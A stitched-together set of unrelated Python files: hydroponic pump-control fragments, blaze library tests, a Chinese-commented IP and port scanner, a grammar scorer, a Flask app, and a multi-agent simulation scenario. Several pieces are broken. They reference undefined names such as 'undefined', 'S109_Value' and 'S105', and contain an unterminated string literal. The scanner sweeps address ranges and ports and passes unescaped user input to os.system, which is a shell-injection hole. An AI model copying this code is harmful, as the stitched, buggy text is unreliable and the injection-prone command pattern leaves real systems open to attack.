            time.sleep(undefined)
            S106_value=Sensors.Liquid_level(S106_Channel)
            global_var.sensor_hash_table["LL_4"]=S106_value
        mech_ctrl.pump(P2_port,GPIO.LOW) #Deactivate Condensation pump P2
        return
    else:
        return

"Nutrient Conditioning Function"
def NTR_Conditioning():
    S101_value=Sensors.ec_read()
    global_var.sensor_hash_table["EC_1"]=S101_value
    HSST_K12=global_var.hsst_hash("K12")
    HSST_J12=global_var.hsst_hash("J12")
    HSST_I12=global_var.hsst_hash("I12")
    while S101_value < HSST_K12:
        mech_ctrl.pump(P3_port,GPIO.HIGH) #Activate NTR1 P3
        mech_ctrl.pump(P4_port,GPIO.HIGH) #Activate NTR2 P4
        time.sleep(HSST_J12)
        mech_ctrl.pump(P3_port,GPIO.LOW) #Deactivate NTR1 P3
        mech_ctrl.pump(P4_port,GPIO.LOW) #Deactivate NTR2 P4
        time.sleep(HSST_I12)
        S101_value=Sensors.ec_read()
        global_var.sensor_hash_table["EC_1"]=S101_value
    return

"pH Conditioning Functions"

def pH_Conditioning():
    S109_value=Sensors.ph_read()
    global_var.sensor_hash_table["LL_7"]=S109_value
    HSST_L16=global_var.hsst_hash("L16")
    HSST_J16=global_var.hsst_hash("J16")
    HSST_I16=global_var.hsst_hash("I16")
    while S109_Value > HSST_L16:
        mech_ctrl.pump(P5_port,GPIO.HIGH) # Activate PH Pump P5
        time.sleep(HSST_J16) #Actuation time
        mech_ctrl.pump(P5_port,GPIO.LOW) # Activate PH Pump P5
        time.sleep(HSST_I16) #Settling time
        S109_value=Sensors.ph_read()#Read again and loop over
        global_var.sensor_hash_table["LL_7"]=S109_value
    return

"Leachate Dump Function"
def leachate_dump():
    S112_value=Sensors.Liquid_level(S112_Channel);
    global_var.sensor_hash_table["LL_2"]=S112_value
    S105_value=Sensors.Liquid_level(S105_Channel);
    global_var.sensor_hash_table["LL_1"]=S105_value
    S113_value=Sensors.Liquid_level(S113_Channel);
    global_var.sensor_hash_table["LL_3"]=S113_value
    HSST_M22=global_var.hsst_hash("M22")
    HSST_N21=global_var.hsst_hash("N21")
    mech_ctrl.pump(P8_port,GPIO.HIGH) # Activate Pre-Filter Pump P8
    while not ((S112_value < HSST_M22) or ((S105+S113) > HSST_N21)):
        S112_value=Sensors.Liquid_level(S112_Channel);
        global_var.sensor_hash_table["LL_2"]=S112_value
        S105_value=Sensors.Liquid_level(S105_Channel);
        global_var.sensor_hash_table["LL_1"]=S105_value
        S113_value=Sensors.Liquid_level(S113_Channel);
        global_var.sensor_hash_table["LL_3"]=S113_value
    mech_ctrl.pump(P8_port,GPIO.LOW) # deactivate Pre-Filter Pump P8


from __future__ import absolute_import, division, print_function

import pytest
import tempfile
import pandas as pd

from blaze import CSV, Table
from blaze.expr import *
from blaze.expr.core import discover
from blaze.utils import raises
from datashape import dshape, var, int32, int64, Record, DataShape
from toolz import identity, first
import numpy as np

def test_dshape():
    t = TableSymbol('t', '{name: string, amount: int}')
    assert t.dshape == dshape('var * {name: string, amount: int}')

def test_eq():
    assert TableSymbol('t', '{a: string, b: int}') == \
            TableSymbol('t', '{a: string, b: int}')
    assert TableSymbol('t', '{b: string, a: int}') != \
            TableSymbol('t', '{a: string, b: int}')

def test_arithmetic():
    t = TableSymbol('t', '{x: int, y: int, z: int}')
    x, y, z = t['x'], t['y'], t['z']
    exprs = [x + 1, x + y, 1 + y,
             x - y, 1 - x, x - 1,
             x ** y, x ** 2, 2 ** x,
             x * y, x ** 2, 2 ** x,
             x / y, x / 2, 2 / x,
             x % y, x % 2, 2 % x]

def test_column():
    t = TableSymbol('t', '{name: string, amount: int}')
    assert t.columns == ['name', 'amount']

    assert eval(str(t['name'])) == t['name']
    assert str(t['name']) == "t['name']"

def test_Projection():
    t = TableSymbol('t', '{name: string, amount: int, id: int32}')
    p = projection(t, ['amount', 'name'])
    assert p.schema == dshape('{amount: int32, name: string}')
    print(t['amount'].dshape)
    print(dshape('var * int32'))
    assert t['amount'].dshape == dshape('var * {amount: int32}')

    assert eval(str(p)).isidentical(p)

def test_indexing():
    t = TableSymbol('t', '{name: string, amount: int, id: int}')
    assert t[['amount', 'id']] == projection(t, ['amount', 'id'])
    assert t['amount'].isidentical(Column(t, 'amount'))

def test_relational():
    t = TableSymbol('t', '{name: string, amount: int, id: int}')

    r = (t['name'] == 'Alice')

    assert r.dshape == dshape('var * bool')

def test_selection():
    t = TableSymbol('t', '{name: string, amount: int, id: int}')

    s = selection(t, t['name'] == 'Alice')

    assert s.dshape == t.dshape

def test_selection_typecheck():
    t = TableSymbol('t', '{name: string, amount: int, id: int}')

    assert raises(TypeError, lambda: t[t['amount'] + t['id']])
    assert raises(TypeError, lambda: t[t['name']])

def test_selection_by_indexing():
    t = TableSymbol('t', '{name: string, amount: int, id: int}')

    result = t[t['name'] == 'Alice']

    assert t.schema == result.schema
    assert 'Alice' in str(result)

def test_selection_by_getattr():
    t = TableSymbol('t', '{name: string, amount: int, id: int}')

    result = t[t.name == 'Alice']

    assert t.schema == result.schema
    assert 'Alice' in str(result)

def test_selection_path_check():
    t = TableSymbol('t', '{name: string, amount: int, id: int}')
    t2 = t[t.name == 'Alice']
    t3 = t2[t2.amount > 0]
    assert t3

def test_different_schema_raises():
    with tempfile.NamedTemporaryFile(delete=False) as f:
        df = pd.DataFrame(np.random.randn(10, 2))
        df.to_csv(f.name, index=False, header=False)
        with pytest.raises(TypeError):
            Table(CSV(f.name), columns=list('ab'))

def test_getattr_doesnt_override_properties():
    t = TableSymbol('t', '{iscolumn: string, schema: string}')
    assert isinstance(t.iscolumn, bool)
    assert isinstance(t.schema, DataShape)

def test_dir_contains_columns():
    t = TableSymbol('t', '{name: string, amount: int, id: int}')
    result = dir(t)
    columns_set = set(t.columns)
    assert set(result) & columns_set == columns_set

def test_selection_consistent_children():
    t = TableSymbol('t', '{name: string, amount: int, id: int}')

    expr = t['name'][t['amount'] < 0]

    assert list(expr.columns) == ['name']

def test_columnwise_syntax():
    t = TableSymbol('t', '{x: real, y: real, z: real}')
    x, y, z = t['x'], t['y'], t['z']
    assert (x + y).active_columns() == ['x', 'y']
    assert (z + y).active_columns() == ['y', 'z']
    assert ((z + y) * x).active_columns() == ['x', 'y', 'z']

    expr = (z % x * y + z ** 2 > 0) & (x < 0)
    assert isinstance(expr, ColumnWise)

def test_str():
    import re
    t = TableSymbol('t', '{name: string, amount: int, id: int}')
    expr = t[t['amount'] < 0]['name'] * 2
    assert '<class' not in str(expr)
    assert not re.search('0x[0-9a-f]+', str(expr))

    assert eval(str(expr)) == expr

    assert '*' in repr(expr)

def test_join():
    t = TableSymbol('t', '{name: string, amount: int}')
    s = TableSymbol('t', '{name: string, id: int}')
    j = join(t, s, 'name', 'name')

    assert j.schema == dshape('{name: string, amount: int, id: int}')

    assert join(t, s, 'name') == join(t, s, 'name')

def test_joined_column_first_in_schema():
    t = TableSymbol('t', '{x: int, y: int, z: int}')
    s = TableSymbol('s', '{w: int, y: int}')

    assert join(t, s).schema == dshape('{y: int, x: int, z: int, w: int}')

def test_outer_join():
    t = TableSymbol('t', '{name: string, amount: int}')
    s = TableSymbol('t', '{name: string, id: int}')

    jleft = join(t, s, 'name', 'name', how='left')
    jright = join(t, s, 'name', 'name', how='right')
    jinner = join(t, s, 'name', 'name', how='inner')
    jouter = join(t, s, 'name', 'name', how='outer')

    js = [jleft, jright, jinner, jouter]

    assert len(set(js)) == 4  # not equal

    assert jinner.schema == dshape('{name: string, amount: int, id: int}')
    assert jleft.schema == dshape('{name: string, amount: int, id: ?int}')
    assert jright.schema == dshape('{name: string, amount: ?int, id: int}')
    assert jouter.schema == dshape('{name: string, amount: ?int, id: ?int}')

    # Default behavior
    assert join(t, s, 'name', 'name', how='inner') == \
            join(t, s, 'name', 'name')

def test_join_default_shared_columns():
    t = TableSymbol('t', '{name: string, amount: int}')
    s = TableSymbol('t', '{name: string, id: int}')
    assert join(t, s) == join(t, s, 'name', 'name')

def test_multi_column_join():
    a = TableSymbol('a', '{x: int, y: int, z: int}')
    b = TableSymbol('b', '{w: int, x: int, y: int}')
    j = join(a, b, ['x', 'y'])

    assert set(j.columns) == set('wxyz')

    assert j.on_left == j.on_right == ['x', 'y']
    assert hash(j)

    assert j.columns == ['x', 'y', 'z', 'w']

def test_traverse():
    t = TableSymbol('t', '{name: string, amount: int}')
    assert t in list(t.traverse())

    expr = t[t['amount'] < 0]['name']
    trav = list(expr.traverse())
    assert any(t['amount'].isidentical(x) for x in trav)
    assert any((t['amount'] < 0).isidentical(x) for x in trav)

def test_unary_ops():
    t = TableSymbol('t', '{name: string, amount: int}')
    expr = cos(exp(t['amount']))
    assert 'cos' in str(expr)

    assert '~' in str(~(t.amount > 0))

def test_reduction():
    t = TableSymbol('t', '{name: string, amount: int32}')
    r = sum(t['amount'])
    print(type(r.dshape))
    print(type(dshape('int32')))
    print(r.dshape)
    assert r.dshape in (dshape('int32'),
                        dshape('{amount: int32}'),
                        dshape('{amount_sum: int32}'))

    assert 'amount' not in str(t.count().dshape)

    assert first(t.count().dshape[0].types)[0] in (int32, int64)

    assert 'int' in str(t.count().dshape)
    assert 'int' in str(t.nunique().dshape)
    assert 'string' in str(t['name'].max().dshape)
    assert 'string' in str(t['name'].min().dshape)
    assert 'string' not in str(t.count().dshape)

    t = TableSymbol('t', '{name: string, amount: real, id: int}')

    assert 'int' in str(t['id'].sum().dshape)
    assert 'int' not in str(t['amount'].sum().dshape)

def test_Distinct():
    t = TableSymbol('t', '{name: string, amount: int32}')
    r = distinct(t['name'])
    print(r.dshape)
    assert r.dshape  == dshape('var * {name: string}')

    r = t.distinct()
    assert r.dshape  == t.dshape

def test_by():
    t = TableSymbol('t', '{name: string, amount: int32, id: int32}')
    r = by(t, t['name'], sum(t['amount']))

    print(r.schema)
    assert isinstance(r.schema[0], Record)
    assert str(r.schema[0]['name']) == 'string'

def test_by_columns():
    t = TableSymbol('t', '{name: string, amount: int32, id: int32}')

    assert len(by(t, t['id'], t['amount'].sum()).columns) == 2
    assert len(by(t, t['id'], t['id'].count()).columns) == 2
    print(by(t, t, t.count()).columns)
    assert len(by(t, t, t.count()).columns) == 4

def test_sort():
    t = TableSymbol('t', '{name: string, amount: int32, id: int32}')
    s = t.sort('amount', ascending=True)
    print(str(s))
    assert eval(str(s)).isidentical(s)

    assert s.schema == t.schema

    assert t['amount'].sort().key == 'amount'

def test_head():
    t = TableSymbol('t', '{name: string, amount: int32, id: int32}')
    s = t.head(10)
    assert eval(str(s)).isidentical(s)

    assert s.schema == t.schema

def test_label():
    t = TableSymbol('t', '{name: string, amount: int32, id: int32}')
    quantity = (t['amount'] + 100).label('quantity')

    assert eval(str(quantity)).isidentical(quantity)

    assert quantity.columns == ['quantity']

def test_columns():
    t = TableSymbol('t', '{name: string, amount: int32, id: int32}')
    assert list(t.columns) == ['name', 'amount', 'id']
    assert list(t['name'].columns) == ['name']
    (t['amount'] + 1).columns

def test_relabel():
    t = TableSymbol('t', '{name: string, amount: int32, id: int32}')

    rl = t.relabel({'name': 'NAME', 'id': 'ID'})

    assert eval(str(rl)).isidentical(rl)

    print(rl.columns)
    assert rl.columns == ['NAME', 'amount', 'ID']

def test_relabel_join():
    names = TableSymbol('names', '{first: string, last: string}')

    siblings = join(names.relabel({'last': 'left'}),
                    names.relabel({'last': 'right'}), 'first')

    assert siblings.columns == ['first', 'left', 'right']

def test_map():
    t = TableSymbol('t', '{name: string, amount: int32, id: int32}')
    inc = lambda x: x + 1
    assert t['amount'].map(inc).iscolumn
    assert t['amount'].map(inc, schema='{amount: int}').iscolumn
    s = t['amount'].map(inc, schema='{amount: int}', iscolumn=False)
    assert not s.iscolumn

    assert s.dshape == dshape('var * {amount: int}')

    assert not t[['name', 'amount']].map(identity).iscolumn

def test_apply():
    t = TableSymbol('t', '{name: string, amount: int32, id: int32}')
    s = Apply(sum, t['amount'], dshape='real')

    assert s.dshape == dshape('real')

def test_columnwise():
    from blaze.expr.scalar import Add, Eq, Mult
    t = TableSymbol('t', '{x: int, y: int, z: int}')
    x = t['x']
    y = t['y']
    z = t['z']
    assert str(columnwise(Add, x, y).expr) == 'x + y'
    assert columnwise(Add, x, y).child.isidentical(t)

    c1 = columnwise(Add, x, y)
    c2 = columnwise(Mult, x, z)

    assert eval_str(columnwise(Eq, c1, c2).expr) == '(x + y) == (x * z)'
    assert columnwise(Eq, c1, c2).child.isidentical(t)

    assert str(columnwise(Add, x, 1).expr) == 'x + 1'

def test_TableSymbol_printing_is_legible():
    accounts = TableSymbol('accounts', '{name: string, balance: int, id: int}')

    expr = (exp(accounts['balance'] * 10)) + accounts['id']
    assert "exp(accounts['balance'] * 10)" in str(expr)
    assert "+ accounts['id']" in str(expr)

def test_dtype():
    accounts = TableSymbol('accounts',
                           '{name: string, balance: int32, id: int32}')

    assert accounts['name'].dtype == dshape('string')
    assert accounts['balance'].dtype == dshape('int32')
    assert (accounts['balance'] > accounts['id']).dtype == dshape('bool')

def test_merge():
    accounts = TableSymbol('accounts',
                           '{name: string, balance: int32, id: int32}')
    new_amount = (accounts['balance'] * 1.5).label('new')

    c = merge(accounts[['name', 'balance']], new_amount)
    assert c.columns == ['name', 'balance', 'new']

inc = lambda x: x + 1

def test_subterms():
    a = TableSymbol('a', '{x: int, y: int, z: int}')
    assert list(a.subterms()) == [a]
    assert set(a['x'].subterms()) == set([a, a['x']])
    assert set(a['x'].map(inc).subterms()) == set([a, a['x'], a['x'].map(inc)])
    assert a in set((a['x'] + 1).subterms())

def test_common_subexpression():
    a = TableSymbol('a', '{x: int, y: int, z: int}')

    assert common_subexpression(a).isidentical(a)
    assert common_subexpression(a, a['x']).isidentical(a)
    assert common_subexpression(a['y'] + 1, a['x']).isidentical(a)
    assert common_subexpression(a['x'].map(inc), a['x']).isidentical(a['x'])

def test_schema_of_complex_interaction():
    a = TableSymbol('a', '{x: int, y: int, z: int}')
    expr = (a['x'] + a['y']) / a['z']
    assert expr.dtype == dshape('real')

    expr = expr.label('foo')
    print(expr.dtype)
    assert expr.dtype == dshape('real')

def test_iscolumn():
    a = TableSymbol('a', '{x: int, y: int, z: int}')
    assert not a.iscolumn
    assert a['x'].iscolumn
    assert not a[['x', 'y']].iscolumn
    assert not a[['x']].iscolumn
    assert (a['x'] + a['y']).iscolumn
    assert a['x'].distinct().iscolumn
    assert not a[['x']].distinct().iscolumn
    assert not by(a, a['x'], a['y'].sum()).iscolumn
    assert a['x'][a['x'] > 1].iscolumn
    assert not a[['x', 'y']][a['x'] > 1].iscolumn
    assert a['x'].sort().iscolumn
    assert not a[['x', 'y']].sort().iscolumn
    assert a['x'].head().iscolumn
    assert not a[['x', 'y']].head().iscolumn

    assert TableSymbol('b', '{x: int}', iscolumn=True).iscolumn
    assert not TableSymbol('b', '{x: int}', iscolumn=False).iscolumn
    assert TableSymbol('b', '{x: int}', iscolumn=True) != \
            TableSymbol('b', '{x: int}', iscolumn=False)

def test_discover():
    schema = '{x: int, y: int, z: int}'
    a = TableSymbol('a', schema)

    assert discover(a) == var * schema

def test_improper_selection():
    t = TableSymbol('t', '{x: int, y: int, z: int}')

    assert raises(Exception, lambda: t[t['x'] > 0][t.sort()[t['y' > 0]]])

def test_union():
    schema = '{x: int, y: int, z: int}'
    a = TableSymbol('a', schema)
    b = TableSymbol('b', schema)
    c = TableSymbol('c', schema)

    u = union(a, b, c)
    assert u.schema == a.schema

    assert raises(Exception,
                  lambda: union(a, TableSymbol('q', '{name: string}')))

def test_serializable():
    t = TableSymbol('t', '{id: int, name: string, amount: int}')
    import pickle
    t2 = pickle.loads(pickle.dumps(t))

    assert t.isidentical(t2)

    s = TableSymbol('t', '{id: int, city: string}')
    expr = join(t[t.amount < 0], s).sort('id').city.head()
    expr2 = pickle.loads(pickle.dumps(expr))

    assert expr.isidentical(expr2)

def test_table_coercion():
    from datetime import date
    t = TableSymbol('t', '{name: string, amount: int, timestamp: ?date}')
    assert (t.amount + '10').expr.rhs == 10

    assert (t.timestamp < '2014-12-01').expr.rhs == date(2014, 12, 1)

def test_isnan():
    t = TableSymbol('t', '{name: string, amount: int, timestamp: ?date}')

    for expr in [t.amount.isnan(), ~t.amount.isnan()]:
        assert eval(str(expr)).isidentical(expr)

    assert isinstance(t.amount.isnan(), TableExpr)
    assert 'bool' in str(t.amount.isnan().dshape)


# -*- coding: utf-8 -*-

import argparse
import os
import queue
from multiprocessing import Process, Queue
import threading
import time
import socket
import json

class Scanner:
    """
    scanner class 检查各IP段和端口可用性的扫描器
    """
    can_use_ip_list = Queue()
    cant_use_ip_list = Queue()
    can_use_port_list = Queue()
    cant_use_port_list = Queue()

    def __init__(
            self,
            ip='127.0.0.1',
            times=1,
            file=None,
            func='ping',
            is_multi_process=False,
            process_num=1,
            is_multi_thread=False,
            thread_num=1,
            count_use_times=True
    ):
        self.ip = ip
        self.times = times
        self.file = None
        self.func = func
        self.is_multi_process = is_multi_process
        self.process_num = process_num
        self.is_multi_thread = is_multi_thread
        self.thread_num = thread_num
        self.count_use_times = count_use_times

        self.ip_list = Queue()
        self.get_ip()

        if file:
            self.file = open(file, encoding='utf-8', mode='w')

    def start(self):
        """
        scanner 入口方法，处理进程级的任务调起
        :return:
        """
        if self.is_multi_process:
            for _ in range(self.process_num):
                Process(target=self.run_thread).start()

        else:
            self.run_thread()

    def run_thread(self):
        """
        通过线程级别处理任务
        :return:
        """
        if self.is_multi_thread:
            for _ in range(self.thread_num):
                threading.Thread(target=self.run).start()

        else:
            # 一个进程里单线程
            self.run()

    def run(self):
        print(f'当前进程号:{os.getpid()}, 自定义线程标识:{time.time()}')

        if self.func == 'ip':
            self.ping()
        elif self.func == 'port':
            self.socket()
        else:
            print('error func')

    def ping(self):
        # for ip in self.ip_list.get():
        while True:
            try:
                # 最长等待 1s
                ip = self.ip_list.get(True, 1)
                res = os.system('ping -c %s %s' % (self.times, ip))
                print(f'ping res: {res}')

                if res:
                    # cant
                    self.cant_use_ip_list.put(ip)
                else:
                    self.can_use_ip_list.put(ip)
            except queue.Empty:
                print('while end')
                break

    def socket(self):
        """
        检测ip上的端口是否开放
        """
        socket.setdefaulttimeout(2)
        socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        while True:
            try:
                # 最长等待 1s
                ip = self.ip_list.get(True, 1)
                print(f'ip: {ip} >>>>>>>>>>>>>')

                for port in range(1, 1025):
                    try:
                        print(f'socket test {ip}:{port}')
                        result = socket_obj.connect_ex((ip, int(port)))
                        # socket_obj.connect((ip, int(port)))
                        # socket_obj.shutdown(2)

                        if result == 0:
                            print(f'{ip}:{port} is open')
                            self.can_use_port_list.put(ip + ':' + str(port))
                        else:
                            print(f'{ip}:{port} is close')
                            self.cant_use_port_list.put((ip + ':' + str(port)))

                    except Exception as e:
                        print(e)
                        print(f'{ip}:{port} is close')
                        self.cant_use_port_list.put((ip + ':' + str(port)))

            except queue.Empty:
                # 尝试捕抓 queue.Empty 异常在多进程下是无效的，只有在明确知道队列长度并尝试取超出长度的次数值时才会是 queue.Empty
                print('while end')
                break

    def get_ip(self):
        """
        根据输入准备好待处理的 IP 列表
        :return:
        """
        if '-' in self.ip:
            ips = self.ip.split('-')
            start_ip_num = self.ip_2_num(ips[0])
            end_ip_num = self.ip_2_num(ips[1])

            for ip_num in range(start_ip_num, end_ip_num + 1):
                self.ip_list.put(self.num_2_ip(ip_num))

        else:
            self.ip_list.put(self.ip)

    @staticmethod
    def ip_2_num(ip):
        # ip to int num
        lp = [int(x) for x in ip.split('.')]
        return lp[0] << 24 | lp[1] << 16 | lp[2] << 8 | lp[3]

    @staticmethod
    def num_2_ip(num):
        # int num to ip
        ip = ['', '', '', '']
        ip[3] = (num & 0xff)
        ip[2] = (num & 0xff00) >> 8
        ip[1] = (num & 0xff0000) >> 16
        ip[0] = (num & 0xff000000) >> 24
        return '%s.%s.%s.%s' % (ip[0], ip[1], ip[2], ip[3])

    @staticmethod
    def queue_2_list(the_queue):
        the_list = []

        try:
            for i in range(10000):
                msg = the_queue.get(True, 1)
                the_list.append(msg)
        except queue.Empty:
            # 尝试捕抓 queue.Empty 异常在多进程下是无效的，只有在明确知道队列长度并尝试取超出长度的次数值时才会是 queue.Empty
            print('queue_2_list end')

        return the_list

    def out(self):
        """
        通过 Output 类处理输出
        """
        output = Output(
            self.queue_2_list(self.can_use_ip_list),
            self.queue_2_list(self.cant_use_ip_list),
            self.queue_2_list(self.can_use_port_list),
            self.queue_2_list(self.cant_use_port_list),
            self.file
        )
        output.output_2_cmd()

        if self.count_use_times:
            print('use time:', time.time() - st)

class Output:
    """
    output class 专门提供给扫描器的输出管理类
    """
    def __init__(self, can_ip_list, cant_ip_list, can_port_list, cant_port_list, file):
        print('output --------------------')
        self.can_ip_list = can_ip_list
        self.cant_ip_list = cant_ip_list
        self.can_port_list = can_port_list
        self.cant_port_list = cant_port_list
        self.file = file

    def output_2_cmd(self):
        file_json = {}
        if self.can_ip_list:
            self.output('发现可用 IP 列表如下: ', self.can_ip_list)
            file_json['can_use_ip_list'] = self.can_ip_list

        if self.cant_ip_list:
            self.output('发现不可用 IP 列表如下: ', self.cant_ip_list)
            file_json['cant_use_ip_list'] = self.cant_ip_list

        if self.can_port_list:
            self.output('开放端口列表如下: ', self.can_port_list)
            file_json['can_use_port_list'] = self.can_port_list

        if self.cant_port_list:
            self.output('未开放端口列表如下: ', self.cant_port_list)
            file_json['cant_use_port_list'] = self.cant_port_list

        if self.file:
            json.dump(file_json, fp=self.file, ensure_ascii=False)

    @staticmethod
    def output(title, output_list):
        print(title)
        for item in output_list:
            print(item)

if __name__ == "__main__":

    '''
    -n ping 命令的并发数量
    -f 执行检查 ip / port 操作
    -p 指定 IP，可以单个或多个,多格式用 "-" 分割
    -w 结果输出到指定文件名
    -mp 是否多进程
    -pn 多进程时的进程数
    -mt 是否多线程
    -tn 多线程时的线程数
    -v 是否统计用时，默认 True

    test command:
    python3 part1/scanner.py -f ip -n 2 -p 192.168.0.1-192.168.0.3 -mp 1 -pn 2 -mt 1 -tn 2 -w output_ip.json
    python3 part1/scanner.py -f port -p 192.168.0.1-192.168.0.3 -mp 1 -pn 2 -mt 1 -tn 2 -w output_port.json
    '''
    parser = argparse.ArgumentParser(description='this is a IP scanner')
    parser.add_argument('-p', type=str, default=None)
    parser.add_argument('-n', type=int, default=1)
    parser.add_argument('-f', type=str, default=None)
    parser.add_argument('-w', type=str, default=None)
    parser.add_argument('-mp', type=bool, default=False)
    parser.add_argument('-pn', type=int, default=1)
    parser.add_argument('-mt', type=bool, default=False)
    parser.add_argument('-tn', type=int, default=1)
    parser.add_argument('-v', type=bool, default=True)
    args = parser.parse_args()
    st = time.time()
    print(args)

    scanner = Scanner(
        ip=args.p, times=args.n, func=args.f, file=args.w,
        is_multi_process=args.mp,
        process_num=args.pn,
        is_multi_thread=args.mt,
        thread_num=args.tn,
        count_use_times=args.v
    )

    scanner.start()
    # 很不灵活，需要优化每次请求超时时间
    time.sleep(60)
    scanner.out()


import argparse
import grammar_check

parser = argparse.ArgumentParser(description="Text Scoring")
parser.add_argument("--language", help="Language of words, english by default", default="en")
parser.add_argument("--sentence", help="Sentence to score")
args = parser.parse_args()

tool = grammar_check.LanguageTool(args.language)

def get_scores(text):
    """Checks the sentence for errors, and returns two scores: number of errors in the sentence, and the fraction of errors from the sentence based on length"""
    errors = tool.check(text)

    num_errors = len(errors)
    error_fraction = sum(error.errorlength for error in errors) / len(text)
    return num_errors, error_fraction

def print_scores(text):
    num_errors, error_fraction = get_scores(text)
    print("Number of errors: {}\nFraction of errors from the text: {}\nFinal score: {}/100".format(num_errors, error_fraction, int((1 - error_fraction) * 100)))

if args.sentence:
    print_scores(args.sentence)
else:
    sentence = input("Enter a sentence, or 'stop' to end: ")
    while sentence != "stop":
        print_scores(sentence)
        sentence = input("Enter a sentence, or 'stop' to end: ")


from flask import Flask, render_template, request, redirect
from math import factorial
from copy import deepcopy
from algo import load_string, new_algo
from jinja2 import Markup

app = Flask(__name__)

def render_multiline_p(s):
    return Markup("
" + "

".join(s.split('\n')) + "
")

@app.route('/v2/<int:n>/<int:k>')
def index(n, k):
	str_buf = load_string(n, k)
	return render_template('index.html', render_multiline_p=render_multiline_p, result=str_buf)

@app.route('/<int:n>/<int:k>')
def index2(n, k):
	str_buf = new_algo(n, k)
	result = "Result: " + str(str_buf)
	return render_template('index.html', render_multiline_p=render_multiline_p, result=result)

if __name__ == '__main__':
  app.run(port=33507)


import numpy as np
import random
from multiagent.core_vec import World, Agent, Landmark
from multiagent.scenario import BaseScenario
from bridson import poisson_disc_samples

class Scenario(BaseScenario):
    def make_world(self, sort_obs=True, use_numba=False):
        world = World(use_numba)
        self.np_rnd = np.random.RandomState(0)
        self.random = random.Random(0)
        self.sort_obs = sort_obs
        # set any world properties first
        world.dim_c = 2
        self.num_agents = 3
        self.num_landmarks = 3
        world.collaborative = True
        self.agent_size = 0.15
        self.world_radius = 3
        self.n_others = 2
        # add agents
        world.agents = [Agent() for i in range(self.num_agents)]
        for i, agent in enumerate(world.agents):
            agent.name = 'agent %d' % i
            agent.collide = True
            agent.silent = True
            agent.size = self.agent_size
            agent.id = i
        # add landmarks
        world.landmarks = [Landmark() for i in range(self.num_landmarks)]
        for i, landmark in enumerate(world.landmarks):
            landmark.name = 'landmark %d' % i
            landmark.collide = False
            landmark.movable = False
        # make initial conditions
        self.reset_world(world)

        return world

    def reset_world(self, world):

        self.l_locations = poisson_disc_samples(width=self.world_radius * 2, height=self.world_radius * 2,
                                                r=self.agent_size * 4.5, random=self.random.random)
        while len(self.l_locations) < len(world.landmarks):
            self.l_locations = poisson_disc_samples(width=self.world_radius * 2, height=self.world_radius * 2,
                                                    r=self.agent_size * 4.5, random=self.random.random)
            print('regenerate l location')

        # random properties for agents
        for i, agent in enumerate(world.agents):
            agent.color = np.array([0.35, 0.35, 0.85])
        # random properties for landmarks
        for i, landmark in enumerate(world.landmarks):
            landmark.color = np.array([0.25, 0.25, 0.25])
        # set random initial states
        for agent in world.agents:
            agent.state.p_pos = self.np_rnd.uniform(-self.world_radius, +self.world_radius, world.dim_p)
            agent.state.p_vel = np.zeros(world.dim_p)
            agent.state.c = np.zeros(world.dim_c)
        l_locations = np.array(self.random.sample(self.l_locations, len(world.landmarks))) - self.world_radius
        for i, landmark in enumerate(world.landmarks):
            landmark.state.p_pos = l_locations[i, :]
            landmark.state.p_vel = np.zeros(world.dim_p)
        self.collide_th = 2 * world.agents[0].size

    def benchmark_data(self, agent, world):
        rew = 0
        collisions = 0
        occupied_landmarks = 0
        min_dists = 0
        for l in world.landmarks:
            dists = [np.sqrt(np.sum(np.square(a.state.p_pos - l.state.p_pos))) for a in world.agents]
            min_dists += min(dists)
            rew -= min(dists)
            if min(dists) < 0.1:
                occupied_landmarks += 1
        if agent.collide:
            for a in world.agents:
                if self.is_collision(a, agent):
                    rew -= 1
                    collisions += 1
        return (rew, collisions, min_dists, occupied_landmarks)

    def is_collision(self, agent1, agent2):
        delta_pos = agent1.state.p_pos - agent2.state.p_pos
        dist = np.sqrt(np.sum(np.square(delta_pos)))
        dist_min = agent1.size + agent2.size
        return True if dist < dist_min else False

    def reward(self, agent, world):
        """
        Vectorized reward function
        Agents are rewarded based on minimum agent distance to each landmark, penalized for collisions
        """

        rew, rew1 = 0, 0

        if agent == world.agents[0]:
            l_pos = np.array([[l.state.p_pos for l in world.landmarks]]).repeat(len(world.agents), axis=0)
            a_pos = np.array([[a.state.p_pos for a in world.agents]])
            a_pos1 = a_pos.repeat(len(world.agents), axis=0)
            a_pos1 = np.transpose(a_pos1, axes=(1, 0, 2))
            a_pos2 = a_pos.repeat(len(world.agents), axis=0)
            dist = np.sqrt(np.sum(np.square(l_pos - a_pos1), axis=2))
            rew = np.min(dist, axis=0)
            rew = -np.sum(rew)
            if agent.collide:
                dist_a = np.sqrt(np.sum(np.square(a_pos1 - a_pos2), axis=2))
                n_collide = (dist_a < self.collide_th).sum() - len(world.agents)
                rew -= n_collide

        return rew

    def observation(self, agent, world):
        """
        :param agent: an agent
        :param world: the current world
        :return: obs: np array,
        [0-1] self_agent velocity
        [2-3] self_agent location
        [4-9] landmarks location
        """
        if agent.id == 0:
            l_pos = np.array([[l.state.p_pos for l in world.landmarks]]).repeat(len(world.agents), axis=0)
            a_pos = np.array([[a.state.p_pos for a in world.agents]])
            a_pos1 = a_pos.repeat(len(world.agents), axis=0)
            a_pos1 = np.transpose(a_pos1, axes=(1, 0, 2))
            a_pos2 = a_pos.repeat(len(world.agents), axis=0)
            entity_pos = l_pos - a_pos1
            other_pos = a_pos2 - a_pos1

            entity_dist = np.sqrt(np.sum(np.square(entity_pos), axis=2))
            entity_dist_idx = np.argsort(entity_dist, axis=1)
            row_idx = np.arange(self.num_agents).repeat(self.num_landmarks)
            self.sorted_entity_pos = entity_pos[row_idx, entity_dist_idx.reshape(-1)].reshape(self.num_agents,
                                                                                self.num_landmarks, 2)

            other_dist = np.sqrt(np.sum(np.square(other_pos), axis=2))
            other_dist_idx = np.argsort(other_dist, axis=1)
            row_idx = np.arange(self.num_agents).repeat(self.num_agents)
            self.sorted_other_pos = other_pos[row_idx, other_dist_idx.reshape(-1)].reshape(self.num_agents,
                                                                                self.num_agents, 2)[:, 1:, :]
            self.sorted_other_pos = self.sorted_other_pos[:, :self.n_others, :]
            self.sorted_entity_pos = self.sorted_entity_pos[:, :self.n_others + 1, :]

        obs = np.concatenate((np.array([agent.state.p_vel]), np.array([agent.state.p_pos]),
                              self.sorted_entity_pos[agent.id, :, :],
                              self.sorted_other_pos[agent.id, :, :]), axis=0).reshape(-1)
        return obs

    def seed(self, seed=None):
        self.np_rnd.seed(seed)
        self.random.seed(seed)


from typing import List

from ....utilities.byte_io_mdl import ByteIO
